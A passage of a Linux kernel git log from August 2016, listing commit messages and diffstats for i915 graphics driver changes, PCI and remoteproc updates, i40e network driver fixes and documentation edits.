Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-20-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/i915_gem.c | 2 +- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 2 +- drivers/gpu/drm/i915/i915_gem_fence.c | 9 ++++----- 4 files changed, 7 insertions(+), 8 deletions(-) commit 364c8172edb5ff0b4650bbd4c45eaab46b84b008 Author: Chris Wilson Date: Thu Aug 18 17:16:58 2016 +0100 drm/i915/userptr: Make gup errors stickier Keep any error reported by the gup_worker until we are notified that the arena has changed (via the mmu-notifier). This has the importance of making two consecutive calls to i915_gem_object_get_pages() reporting the same error, and curtailing a loop of detecting a fault and requeueing a gup_worker. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-19-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_userptr.c | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) commit c58b735fc762e891481e92af7124b85cb0a51fce Author: Chris Wilson Date: Thu Aug 18 17:16:57 2016 +0100 drm/i915: Allocate rings from stolen If we have stolen available, make use of it for ringbuffer allocation. Previously this was restricted to !llc platforms, as writing to stolen requires a GGTT mapping - but now that we have partial mappable support, the mappable aperture isn't quite so precious so we can use it more freely and ringbuffers are a good user for the otherwise wasted stolen. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-18-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_ringbuffer.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 9d80841ea4c9df420da3f9a61a819d09a03f2161 Author: Chris Wilson Date: Thu Aug 18 17:16:56 2016 +0100 drm/i915: Allow ringbuffers to be bound anywhere Now that we have WC vmapping available, we can bind our rings anywhere in the GGTT and do not need to restrict them to the mappable region. Except for stolen objects, for which direct access is verbatim and we must use the mappable aperture. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-17-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_ringbuffer.c | 15 ++++++++------- drivers/gpu/drm/i915/intel_ringbuffer.h | 1 - 2 files changed, 8 insertions(+), 8 deletions(-) commit 05a20d098db1e3318228e7c281cd9b2d3d25f12b Author: Chris Wilson Date: Thu Aug 18 17:16:55 2016 +0100 drm/i915: Move map-and-fenceable tracking to the VMA By moving map-and-fenceable tracking from the object to the VMA, we gain fine-grained tracking and the ability to track individual fences on the VMA (subsequent patch). Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-16-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 6 ----- drivers/gpu/drm/i915/i915_gem.c | 37 ++++++++++++++---------------- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_fence.c | 7 +++--- drivers/gpu/drm/i915/i915_gem_gtt.c | 2 +- drivers/gpu/drm/i915/i915_gem_gtt.h | 10 ++++++-- drivers/gpu/drm/i915/i915_gem_tiling.c | 4 ++-- drivers/gpu/drm/i915/intel_display.c | 6 ++--- 8 files changed, 36 insertions(+), 40 deletions(-) commit 9e53d9be0d9e09f834d3bdfccafb8330f2597e6c Author: Chris Wilson Date: Thu Aug 18 17:16:54 2016 +0100 drm/i915: Disallow direct CPU access to stolen pages for relocations As we cannot access the backing pages behind stolen objects, we should not attempt to do so for relocations. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-15-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_execbuffer.c | 3 +++ 1 file changed, 3 insertions(+) commit e8cb909ac3abbcac5184825638903a2b9a225725 Author: Chris Wilson Date: Thu Aug 18 17:16:53 2016 +0100 drm/i915: Fallback to single page GTT mmappings for relocations If we cannot pin the entire object into the mappable region of the GTT, try to pin a single page instead. This is much more likely to succeed, and prevents us falling back to the clflush slow path. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-14-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_execbuffer.c | 62 ++++++++++++++++++++++++------ 1 file changed, 51 insertions(+), 11 deletions(-) commit d50415cc6c8395602052b39a1a39290fba3d313e Author: Chris Wilson Date: Thu Aug 18 17:16:52 2016 +0100 drm/i915: Refactor execbuffer relocation writing With the introduction of the reloc page cache, we are just one step away from refactoring the relocation write functions into one. Not only does it tidy the code (slightly), but it greatly simplifies the control logic much to gcc's satisfaction. v2: Add selftests to document the relationship between the clflush flags, the KMAP bit and packing into the page-aligned pointer. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-13-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_execbuffer.c | 291 +++++++++++++++-------------- 1 file changed, 152 insertions(+), 139 deletions(-) commit b0dc465f9540a8659ae06be08c6fcfc04c874777 Author: Chris Wilson Date: Thu Aug 18 17:16:51 2016 +0100 drm/i915: Tidy up flush cpu/gtt write domains Since we know the write domain, we can drop the local variable and make the code look a tiny bit simpler. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-12-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) commit 9764951e7f517717bc7ecc3f1a9711816646ebf7 Author: Chris Wilson Date: Thu Aug 18 17:16:50 2016 +0100 drm/i915: Pin the pages first in shmem prepare read/write There is an improbable, but not impossible, case that if we leave the pages unpin as we operate on the object, then somebody via the shrinker may steal the lock (which lock? right now, it is struct_mutex, THE lock) and change the cache domains after we have already inspected them. (Whilst here, avail ourselves of the opportunity to take a couple of steps to make the two functions look more similar.) Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-11-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 48 ++++++++++++++++++++++++----------------- 1 file changed, 28 insertions(+), 20 deletions(-) commit 3b5724d702ef24ee41ca008a1fab1cf94f3d31b5 Author: Chris Wilson Date: Thu Aug 18 17:16:49 2016 +0100 drm/i915: Wait for writes through the GTT to land before reading back If we quickly switch from writing through the GTT to a read of the physical page directly with the CPU (e.g. performing relocations through the GTT and then running the command parser), we can observe that the writes are not visible to the CPU. It is not a coherency problem, as extensive investigations with clflush have demonstrated, but a mere timing issue - we have to wait for the GTT to complete it's write before we start our read from the CPU. The issue can be illustrated in userspace with: gtt = gem_mmap__gtt(fd, handle, 0, OBJECT_SIZE, PROT_READ | PROT_WRITE); cpu = gem_mmap__cpu(fd, handle, 0, OBJECT_SIZE, PROT_READ | PROT_WRITE); gem_set_domain(fd, handle, I915_GEM_DOMAIN_GTT, I915_GEM_DOMAIN_GTT); for (i = 0; i < OBJECT_SIZE / 64; i++) { int x = 16*i + (i%16); gtt[x] = i; clflush(&cpu[x], sizeof(cpu[x])); assert(cpu[x] == i); } Experimenting with that shows that this behaviour is indeed limited to recent Atom-class hardware. Testcase: igt/gem_exec_flush/basic-batch-default-cmd #byt Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-10-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit a314d5cb4ac3722b9a673656e2499f4d92ee5e6f Author: Chris Wilson Date: Thu Aug 18 17:16:48 2016 +0100 drm/i915: Before accessing an object via the cpu, flush GTT writes If we want to read the pages directly via the CPU, we have to be sure that we have to flush the writes via the GTT (as the CPU can not see the address aliasing). Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-9-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 4 ++++ 1 file changed, 4 insertions(+) commit 43394c7d0d36716edd92e482ec68bec6b82f2982 Author: Chris Wilson Date: Thu Aug 18 17:16:47 2016 +0100 drm/i915: Extract i915_gem_obj_prepare_shmem_write() This is a companion to i915_gem_obj_prepare_shmem_read() that prepares the backing storage for direct writes. It first serialises with the GPU, pins the backing storage and then indicates what clfushes are required in order for the writes to be coherent. Whilst here, fix support for ancient CPUs without clflush for which we cannot do the GTT+clflush tricks. v2: Add i915_gem_obj_finish_shmem_access() for symmetry Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-8-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 4 +- drivers/gpu/drm/i915/i915_drv.h | 17 +++- drivers/gpu/drm/i915/i915_gem.c | 146 +++++++++++++++++++-------------- 3 files changed, 102 insertions(+), 65 deletions(-) commit 31a39207f04a37324d70ff5665fd19d3a75b39c1 Author: Chris Wilson Date: Thu Aug 18 17:16:46 2016 +0100 drm/i915: Cache kmap between relocations When doing relocations, we have to obtain a mapping to the page containing the target address. This is either a kmap or iomap depending on GPU and its cache coherency. Neighbouring relocation entries are typically within the same page and so we can cache our kmapping between them and avoid those pesky TLB flushes. Note that there is some sleight-of-hand in how the slow relocate works as the reloc_entry_cache implies pagefaults disabled (as we are inside a kmap_atomic section). However, the slow relocate code is meant to be the fallback from the atomic fast path failing. Fortunately it works as we already have performed the copy_from_user for the relocation array (no more pagefaults there) and the kmap_atomic cache is enabled after we have waited upon an active buffer (so no more sleeping in atomic). Magic! Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-7-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_execbuffer.c | 165 +++++++++++++++++++---------- 1 file changed, 111 insertions(+), 54 deletions(-) commit 18034584784168c73bc8dd57104ea48c42f38527 Author: Chris Wilson Date: Thu Aug 18 17:16:45 2016 +0100 drm/i915: Fallback to single page pwrite/pread if unable to release fence If we cannot release the fence (for example if someone is inexplicably trying to write into a tiled framebuffer that is currently pinned to the display! *cough* kms_frontbuffer_tracking *cough*) fallback to using the page-by-page pwrite/pread interface, rather than fail the syscall entirely. Since this is triggerable by the user (along pwrite) we have to remove the WARN_ON(fence->pin_count). Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-6-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 30 ++++++++++++++++++------------ drivers/gpu/drm/i915/i915_gem_fence.c | 2 +- 2 files changed, 19 insertions(+), 13 deletions(-) commit d243ad820295d1c499f9256f8ef04d1d36e74e34 Author: Chris Wilson Date: Thu Aug 18 17:16:44 2016 +0100 drm/i915: Mark up the GTT flush following WC writes as ORIGIN_CPU Similarly to invalidating beforehand, if the object is mmapped via I915_MMAP_WC we cannot track writes through the I915_GEM_DOMAIN_GTT. At the conclusion of the write, i915_gem_object_flush_gtt_writes() we also need to treat the origin carefully in case it may have been untracked. See also commit aeecc9696aa0 ("drm/i915: use ORIGIN_CPU for frontbuffer invalidation on WC mmaps"). Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Paulo Zanoni Reviewed-by: Paulo Zanoni Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-5-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b19482d7ce505776af783dd75b07e77f2bf3bd89 Author: Chris Wilson Date: Thu Aug 18 17:16:43 2016 +0100 drm/i915: Use ORIGIN_CPU for fb invalidation from pwrite As pwrite does not use the fence for its GTT access, and may even go through a secondary interface avoiding the main VMA, we cannot treat the write as automatically invalidated by the hardware and so we require ORIGIN_CPU frontbufer invalidate/flushes. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-4-chris@chris-wilson.co.uk Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/i915_gem.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4b30cb23343e98f68ef0917e20fbe121aea78dcf Author: Chris Wilson Date: Thu Aug 18 17:16:42 2016 +0100 drm/i915: vfree() no longer ignores the low bits of the address Since vfree() now likes to WARN when passed a non-page-aligned pointer, we need to discard the low bits to comply with it. Fixes: d31d7cb1460c ("drm/i915: Support for creating write combined type vmaps") Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Tvrtko Ursulin Reviewed-by: Tvrtko Ursulin Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-3-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 5 +++++ drivers/gpu/drm/i915/i915_gem.c | 11 +++++++---- 2 files changed, 12 insertions(+), 4 deletions(-) commit 3497971a71d8b15a41b7bf2bf66ebf5909b2bd3f Author: Chris Wilson Date: Thu Aug 18 17:16:41 2016 +0100 agp/intel: Flush chipset writes after updating a single PTE After we update one PTE for a page, the caller expects to be able to immediately use that through a GGTT read/write. To comply with the callers expectations we therefore need to flush the chipset buffers before returning. Reported-by: Matti Hämäläinen Fixes: d6473f566417 ("drm/i915: Add support for mapping an object page...") Signed-off-by: Chris Wilson Cc: Ankitprasad Sharma Cc: Tvrtko Ursulin Tested-by: Matti Hämäläinen Cc: drm-intel-fixes@lists.freedesktop.org Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-2-chris@chris-wilson.co.uk drivers/char/agp/intel-gtt.c | 2 ++ 1 file changed, 2 insertions(+) commit 600f436801deae65e48404847b61c89b4944e355 Author: Chris Wilson Date: Thu Aug 18 17:16:40 2016 +0100 drm/i915: Unconditionally flush any chipset buffers before execbuf If userspace is asynchronously streaming into the batch or other execobjects, we may not flush those writes along with a change in cache domain (as there is no change). Therefore those writes may end up in internal chipset buffers and not visible to the GPU upon execution. We must issue a flush command or otherwise we encounter incoherency in the batchbuffers and the GPU executing invalid commands (i.e. hanging) quite regularly. v2: Throw a paranoid wmb() into the general flush so that we remain consistent with before. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=90841 Fixes: 1816f9236303 ("drm/i915: Support creation of unbound wc user...") Signed-off-by: Chris Wilson Cc: Akash Goel Cc: Daniel Vetter Cc: Tvrtko Ursulin Tested-by: Matti Hämäläinen Cc: stable@vger.kernel.org Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_gem_execbuffer.c | 13 +++---------- 2 files changed, 4 insertions(+), 10 deletions(-) commit 505f711174b03f42bdfae1aa6cc191b26c157e94 Author: Markus Heiser Date: Mon Aug 15 17:15:59 2016 +0200 doc-rst: add index to sub-folders Add a index if only a sub-folder is build e.g.:: make SPHINXDIRS=media cleandocs htmldocs BTW: removed dead search link in the top-index file Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/gpu/conf.py | 2 ++ Documentation/gpu/index.rst | 7 +++++++ Documentation/index.rst | 1 - Documentation/media/conf.py | 2 ++ Documentation/media/index.rst | 7 +++++++ 5 files changed, 18 insertions(+), 1 deletion(-) commit cfd7c612baa61af61b2c57b7b8321adf2d1b5d90 Author: Eugeniu Rosca Date: Wed Aug 3 00:40:34 2016 +0200 kconfig-language: improve menuconfig usage description Improper menuconfig usage leads to empty menu entries. zconfdump() is able to reveal some real-life examples: - menuconfig VFIO_NOIOMMU - menuconfig RESET_CONTROLLER - menuconfig SND_ARM To avoid future occurrences of those, improve the menuconfig syntax description. Signed-off-by: Eugeniu Rosca Signed-off-by: Jonathan Corbet Documentation/kbuild/kconfig-language.txt | 39 ++++++++++++++++++++++++++++++- 1 file changed, 38 insertions(+), 1 deletion(-) commit 22c6bbe41ecf7606c3effc92b54d5e939e806866 Author: baolex.ni Date: Mon Jul 11 09:57:37 2016 +0800 Update the maximum depth of C-state from 6 to 9 Hi Jon, This patch is an old one, we have corrected some minor issues on the newer one. Please only review the newest version from my last mail with this subject "[PATCH] ACPI: Update the maximum depth of C-state from 6 to 9". And I also attached it to this mail. Thanks, Baole On 7/11/2016 6:37 AM, Jonathan Corbet wrote: > On Mon, 4 Jul 2016 09:55:10 +0800 > "baolex.ni" wrote: > >> Currently, CPUIDLE_STATE_MAX has been defined as 10 in the cpuidle head file, >> and max_cstate = CPUIDLE_STATE_MAX – 1, so 9 is the right maximum depth of C-state. >> This change is reflected in one place of the kernel-param file, >> but not in the other place where I suggest changing. >> >> Signed-off-by: Chuansheng Liu >> Signed-off-by: Baole Ni > > So why are there two signoffs on a single-line patch? Which one of you > is the actual author? > > Thanks, > > jon > From cf5f8aa6885874f6490b11507d3c0c86fa0a11f4 Mon Sep 17 00:00:00 2001 From: Chuansheng Liu Date: Mon, 4 Jul 2016 08:52:51 +0800 Subject: [PATCH] Update the maximum depth of C-state from 6 to 9 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Currently, CPUIDLE_STATE_MAX has been defined as 10 in the cpuidle head file, and max_cstate = CPUIDLE_STATE_MAX – 1, so 9 is the right maximum depth of C-state. This change is reflected in one place of the kernel-param file, but not in the other place where I suggest changing. Signed-off-by: Chuansheng Liu Signed-off-by: Baole Ni Signed-off-by: Jonathan Corbet Documentation/kernel-parameters.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit eec097d43100a8195fd4f678671ecd5d986dd675 Author: Bjorn Helgaas Date: Mon Jun 13 11:01:51 2016 -0500 PCI: Add pci_enable_ptm() for drivers to enable PTM on endpoints Add an pci_enable_ptm() interface so drivers can enable PTM. The PCI core enables PTM on PTM Roots and switches automatically, but we don't enable PTM on endpoints unless a driver requests it. Signed-off-by: Bjorn Helgaas drivers/pci/pcie/ptm.c | 45 +++++++++++++++++++++++++++++++++++++++++++ include/linux/pci.h | 7 +++++++ include/uapi/linux/pci_regs.h | 1 + 3 files changed, 53 insertions(+) commit c460af94c3bedefc4218e07629d0ba06fd5ac80b Author: Thierry Reding Date: Mon Aug 15 17:31:32 2016 +0200 PCI: tegra: Use of_device_get_match_data() of_device_get_match_data() was added in v4.2 to reduce the the boilerplate required to get at SoC-specific data. Use it to simplify the code slightly. [bhelgaas: changelog] Signed-off-by: Thierry Reding Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-tegra.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit a7fbae213925488066e296f30cc81aaa2c5c2802 Author: Thierry Reding Date: Mon Aug 15 17:31:31 2016 +0200 PCI: tegra: Remove redundant _data suffix The struct tegra_pcie_soc_data represents SoC-specific data. The shorter name tegra_pcie_soc already describes that accurately enough, so the extra five characters are redundant. Also remove the suffix from various variable names to shorten the code a little. This also makes this driver more consistent with the naming used in other drivers that use a similar mechanism to differentiate between various SoC generations. Signed-off-by: Thierry Reding Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-tegra.c | 42 +++++++++++++++++++++--------------------- 1 file changed, 21 insertions(+), 21 deletions(-) commit 8e2e03179923479ca0c0b6fdc7c93ecf89bce7a8 Author: Maik Broemme Date: Tue Aug 9 16:41:31 2016 +0200 PCI: Mark Atheros AR9580 to avoid bus reset Similar to the AR93xx and the AR94xx series, the AR95xx also have the same quirk for the Bus Reset. It will lead to instant system reset if the device is assigned via VFIO to a KVM VM. I've been able reproduce this behavior with a MikroTik R11e-2HnD. Fixes: c3e59ee4e766 ("PCI: Mark Atheros AR93xx to avoid bus reset") Signed-off-by: Maik Broemme Signed-off-by: Bjorn Helgaas CC: stable@vger.kernel.org # v3.14+ drivers/pci/quirks.c | 1 + 1 file changed, 1 insertion(+) commit 411dc32d8810e0a204c799ce5c97cb56990de1cb Author: Ley Foon Tan Date: Mon Aug 15 14:06:02 2016 +0800 PCI: altera: Poll for link training status after retraining the link Poll for link training status is cleared before poll for link up status. This can help to get the reliable link up status, especially when PCIe is in Gen 3 speed. Signed-off-by: Ley Foon Tan Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-altera.c | 45 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 37 insertions(+), 8 deletions(-) commit aed361adca9ff1d828843f3afc5d9140a2fa410d Author: Bjorn Andersson Date: Fri Aug 12 18:18:59 2016 -0700 remoteproc: qcom: Introduce WCNSS peripheral image loader This introduces the peripheral image loader, for loading WCNSS firmware and boot the core on e.g. MSM8974. The firmware is verified and booted with the help of the Peripheral Authentication System (PAS) in TrustZone. Tested-by: John Stultz Signed-off-by: Bjorn Andersson Signed-off-by: Bjorn Andersson drivers/remoteproc/Kconfig | 16 + drivers/remoteproc/Makefile | 2 + drivers/remoteproc/qcom_wcnss.c | 624 +++++++++++++++++++++++++++++++++++ drivers/remoteproc/qcom_wcnss.h | 22 ++ drivers/remoteproc/qcom_wcnss_iris.c | 188 +++++++++++ 5 files changed, 852 insertions(+) commit 3103405f0a570b5472560ed094e562cba9d33028 Author: Bjorn Andersson Date: Fri Aug 12 18:18:58 2016 -0700 dt-binding: remoteproc: Introduce Qualcomm WCNSS loader binding The document defines the binding for a component that loads firmware for and boots the Qualcomm WCNSS core. Acked-by: Rob Herring Signed-off-by: Bjorn Andersson Signed-off-by: Bjorn Andersson .../bindings/remoteproc/qcom,wcnss-pil.txt | 132 +++++++++++++++++++++ 1 file changed, 132 insertions(+) commit 13c4245b53aca55ee523e1731c247d3d19d070fa Author: Bjorn Andersson Date: Wed Aug 10 11:57:03 2016 -0700 remoteproc: Only update table_ptr if we have a loaded table In the case that we have a resource table, but not a loaded one we should leave the table_ptr intact, as subsequent resource handling could otherwise dereference the NULL pointer. Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) commit 46bb647b1ca0f136b991151e3dd365b751572f40 Author: Greg Kroah-Hartman Date: Thu Aug 18 21:30:19 2016 +0200 greybus: Revert "svc: drop all symbol exports" This reverts commit a0e559d03bbb3f9774a091e31c0f77d98db1f60d. It breaks the camera driver :( Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit d40062f3c48612f075f99c58206ab8023eca1029 Author: Sridhar Samudrala Date: Thu Aug 4 18:45:47 2016 +0200 i40e: Expose 'trust' flag to userspace via ndo_get_vf_config. This enables ip -d l to indicate if trust is on or off for VFs. Signed-off-by: Sridhar Samudrala Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_virtchnl_pf.c | 1 + 1 file changed, 1 insertion(+) commit be0cb0a66a1d426f7cd9b170c008725044ae147a Author: Dan Carpenter Date: Wed Aug 3 22:01:07 2016 +0300 i40e: remove a stray unlock We shifted the locking around a bit but forgot to delete this unlock so now it can unlock twice. Fixes: cd3be169a5ff ('i40e: Move the mutex lock in i40e_client_unregister') Signed-off-by: Dan Carpenter Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_client.c | 1 - 1 file changed, 1 deletion(-) commit 93e6fa2c34bef36fc64be44e501c6ba729671d8d Author: Bimmy Pujari Date: Wed Jul 27 12:02:41 2016 -0700 i40e/i40evf-Bump version from 1.6.11 to 1.6.12 Signed-off-by: Bimmy Pujari Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 2 +- drivers/net/ethernet/intel/i40evf/i40evf_main.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit eb0dd6e4a3b3df5a733476e417ed3230d0adfc4e Author: Carolyn Wyborny Date: Wed Jul 27 12:02:40 2016 -0700 i40e: Allow RSS Hash set with less than four parameters This patch implements a feature change which allows using ethtool to set RSS hash opts using less than four parameters if desired. Change-ID: I0fbb91255d81e997c456697c21ac39cc9754821b Signed-off-by: Carolyn Wyborny Signed-off-by: Kiran Patil Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e.h | 3 - drivers/net/ethernet/intel/i40e/i40e_ethtool.c | 208 +++++++++++++++---------- 2 files changed, 130 insertions(+), 81 deletions(-) commit b7d2cd951f7147f979d9e82773246416dcef2e3e Author: Mitch Williams Date: Wed Jul 27 12:02:39 2016 -0700 i40e: fix memory leak When we allocate memory, we must free it. It's simple courtesy. Change-ID: Id007294096fb53344f1a8b9a0f78eddf9853c5d6 Signed-off-by: Mitch Williams Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_virtchnl_pf.c | 1 + 1 file changed, 1 insertion(+) commit d8ec98646483a9e1c0c9f511236ce8b933deed17 Author: Alan Brady Date: Wed Jul 27 12:02:38 2016 -0700 i40e: fix lookup table when RSS disabled/enabled This patch fixes the bug which causes RSS to continue to work after being disabled. After disabling RSS, traffic would continue to be assigned to different queues instead of falling back to a single queue. Without this patch, attempting to disable RSS would not work as expected. This patch fixes the bug by clearing the lookup table used by RSS such that all traffic is assigned to a single queue. This patch also addresses the issue of reinstating the lookup table should RSS then be re-enabled. Change-ID: Ib20c7c6a7e9f1f772bb787370f8a8c664796b141 Signed-off-by: Alan Brady Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit 6a23449a2356d7d41addb0c89f512dfef455beb2 Author: Avinash Dayanand Date: Wed Jul 27 12:02:37 2016 -0700 i40e: Don't notify client of VF reset during VF creation VF goes through reset path during VF creation which happens to also have notification of VF reset to client. Adding conditional check to avoid wrongly notifying VF reset during VF creation. Also changing the call order of VF enable, calling it after VF creation rather than before. Change-ID: I96eabd99deae746a2f0fc465194c886f196178ce Signed-off-by: Avinash Dayanand Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_virtchnl_pf.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 70df973b5eb48b19ba29105ecfecb3e50efe3c6d Author: Avinash Dayanand Date: Wed Jul 27 12:02:36 2016 -0700 i40e: Force register writes to mitigate sync issues with iwarp VF driver This patch is a fix for the bug i.e. unable to create iwarp device in VF. This is a sync issue and the iwarp device open is called even before the PCI register writes are done. Forcing the PCI register writes to happen just before it exits the function. Change-ID: I60c6a2c709da89e845f2764cc50ce8b7373c8c44 Signed-off-by: Avinash Dayanand Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_client.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 59826d9becf76d949d09173e2c41e4049f4ca763 Author: Jacob Keller Date: Wed Jul 27 12:02:35 2016 -0700 i40e: don't allow reduction of channels below active FD rules If a driver is unable to maintain all current user supplied settings from ethtool (or other sources), it is not ok for a user request to succeed and silently trample over previous configuration. To that end, if you change the number of channels, it must not be allowed to reduce the number of channels (queues) below the current flow director filter rules targets. In this case, return -EINVAL when a request to reduce the number of channels would do so. In addition log a warning to the kernel buffer explaining why we failed, and report the rules which prevent us from lowering the number of channels. Change-ID: If41464d63d7aab11cedf09e4f3aa1a69e21ffd88 Signed-off-by: Jacob Keller Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_ethtool.c | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 52a08caa0cd5b9b37020c96f2b59ce1160def8fa Author: Dave Ertman Date: Wed Jul 27 12:02:34 2016 -0700 i40e: Fix static analysis tool warning This patch fixes a problem where a static analysis tool generates a warning for "INVARIANT_CONDITION: Expression 'enabled_tc' used in the condition always yields the same result." Without this patch, the driver will not pass the static analysis tool checks without generating warnings. This patch fixes the problem by eliminating the irrelevant check and redundant assignment for the value of enabled_tc. Change-ID: Ia7d44cb050f507df7de333e96369d322e08bf408 Signed-off-by: Dave Ertman Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 62fe2a865e6ddc92f574bafacf8376613d8c08f2 Author: Jacob Keller Date: Wed Jul 27 12:02:33 2016 -0700 i40evf: add missing rtnl_lock() around i40evf_set_interrupt_capability The function calls netif_set_real_num_(tx|rx)_queues, both of which should be done only under rntl lock. Unfortunately the i40evf_init_task did not hold the rtnl_lock as necessary. This patch adds the locking needed. Change-ID: Ib72a21c3ce22b71a226b16f9bbe0f5f8cc3e849b Signed-off-by: Jacob Keller Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40evf/i40evf_main.c | 2 ++ 1 file changed, 2 insertions(+) commit 42bce04ef392ccf1aac0086b1318d375287c8952 Author: Catherine Sullivan Date: Wed Jul 27 12:02:32 2016 -0700 i40e: reset RX csum error stat with other pf stats When we are resetting the pf stats we should also reset the RX csum error stat. Change-ID: I7af5ee0ec81a10f6deee1a7b8c2082ea068ef620 Signed-off-by: Catherine Sullivan Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 1 + 1 file changed, 1 